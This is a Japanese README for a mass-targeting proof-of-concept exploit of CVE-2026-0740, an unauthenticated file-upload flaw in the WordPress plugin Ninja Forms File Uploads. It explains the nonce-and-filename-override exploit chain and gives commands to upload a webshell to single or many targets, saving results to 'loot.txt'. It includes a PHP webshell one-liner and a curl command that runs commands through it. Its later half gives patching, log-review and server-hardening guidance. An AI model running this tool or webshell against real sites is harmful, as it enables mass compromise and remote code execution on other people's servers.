
CVE-2026-0740 の PoC: Ninja Forms File Uploads <= 3.3.26 — RCE につながり得る未認証の任意のファイルアップロード。
作成者: 0xNuts
貢献者: Cursor
リポジトリ: https://github.com/ExDev994/CVE-2026-0740-mass
CVE-2026-0740 のPoC: Ninja Forms File Uploads <= 3.3.26 — 未認証の任意ファイルアップロード。これは RCE につながる可能性があります。
脆弱性は当初 Sélim Lanouar (@whattheslime) によって発見されました。大量ターゲットのPoCエンジンは 0xNuts によって開発され、Cursor が貢献しました。
このリポジトリはセキュリティ研究および防御目的のみ(許可を得たペンテスト、書面による許可を得たレッドチーム、パッチ検証、ハードニング)で提供されています。
WordPress用プラグイン Ninja Forms - File Uploads は、3.3.26 までのすべてのバージョン(3.3.26 を含む)において、未認証の任意ファイルアップロードに対して脆弱です。
エクスプロイトチェーン:
field_id を持つAJAXアクション nf_fu_get_new_nonce を介して、アップロード用nonceを取得します。nf_fu_upload はアップロードファイルの拡張子(例: image.jpg)を検証しますが、攻撃者はPOSTパラメータ(image_jpg)を介して宛先ファイル名を上書きできます。move_uploaded_file() に渡されます → 任意の拡張子 + パストラバーサル(../)。完全なパッチはバージョン 3.3.27以降 で利用可能です。
このリポジトリには CVE-2026-0740.py と README.md のみが含まれています。依存関係を手動でインストールしてください:
python3 -m venv .venv
source .venv/bin/activate # Linux/macOS/WSL
# .venv\Scripts\activate # Windows
pip install httpx==0.28.1 socksio==1.0.0
python3 CVE-2026-0740.py -h
注意: -t または -f のいずれか一方のみを指定する必要があります。
python3 CVE-2026-0740.py -t http://target.com --shell shell.php
明示的なパストラバーサルを指定する場合:
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php
target.txt ファイルを作成:
http://site1.com
https://site2.com
10.0.0.5
# baris komentar diabaikan
実行:
python3 CVE-2026-0740.py -f target.txt --shell shell.php
ワーカー数とルート出力を調整する場合:
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt
アップロードに成功したシェルURLはルートファイルに書き込まれます(追記モード)。
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php
アップロードが成功すると、スクリプトはシェルURLを表示します。検証(ラボまたは許可を得たターゲットのみ):
curl "http://target.com/wp-content/shell.php?cmd=id"
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'
Ninja Forms - File Uploads を直ちにバージョン 3.3.27以降 へ更新してください。
Ninja Forms - File Uploads のバージョンを確認更新後:
nf_fu_get_new_nonce / nf_fu_upload アクションを使用してエンドポイント wp-admin/admin-ajax.php をテスト — 任意のアップロードは拒否される必要がありますWordPressのアップロードディレクトリを確認:
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/
存在すべきではない不審なファイルを探す: .php、.pht、.phtml、.phar、.html、.svg、.js。
また、Webサーバーログで以下へのリクエストも確認:
/wp-admin/admin-ajax.php
パラメータ action=nf_fu_get_new_nonce または action=nf_fu_upload を含むもの。
大量アップロードの悪用をブロックするため、/wp-admin/admin-ajax.php に WAF / レート制限 を設定
Webサーバー設定を介して wp-content/uploads/ ディレクトリで PHP実行を無効化:
Apache(uploads/ の .htaccess):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
Nginx:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
最小権限: アップロードファイルのパーミッションが、必要なディレクトリ外でWebサーバーによって書き込み可能にならないようにする
監視: 外部IPからの、または高頻度の nf_fu_* アクションを含む admin-ajax.php へのPOSTにアラートを設定
バックアップとインシデントレスポンス: IoCが見つかった場合は、サイトを隔離し、DB/管理者の認証情報をローテーションし、他のプラグイン/テーマを監査する
アップロード機能が不要な場合は、Ninja Forms - File Uploads プラグインを無効化して削除してください。
| ベクトル / 拡張子 | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
| フラグ | 機能 |
|---|
-t, --target | 単一ターゲット(単一URL) |
-f, --targets-file | ターゲットのリストを含む .txt ファイル(1行に1URL) |
--shell | アップロードするペイロード/ウェブシェルファイル(必須) |
-d, --dest | 宛先パストラバーサル(デフォルト: ../../../) |
-w, --workers | 並行スレッド数(デフォルト: 20) |
-o, --output | 成功したシェルURLのルートファイル(デフォルト: results.txt) |
-x, --proxy | HTTPプロキシ(例: http://127.0.0.1:8080) |
-H, --headers | カスタムヘッダー(形式: 'Header: Value') |
--timeout | HTTPタイムアウト(秒)(デフォルト: 10) |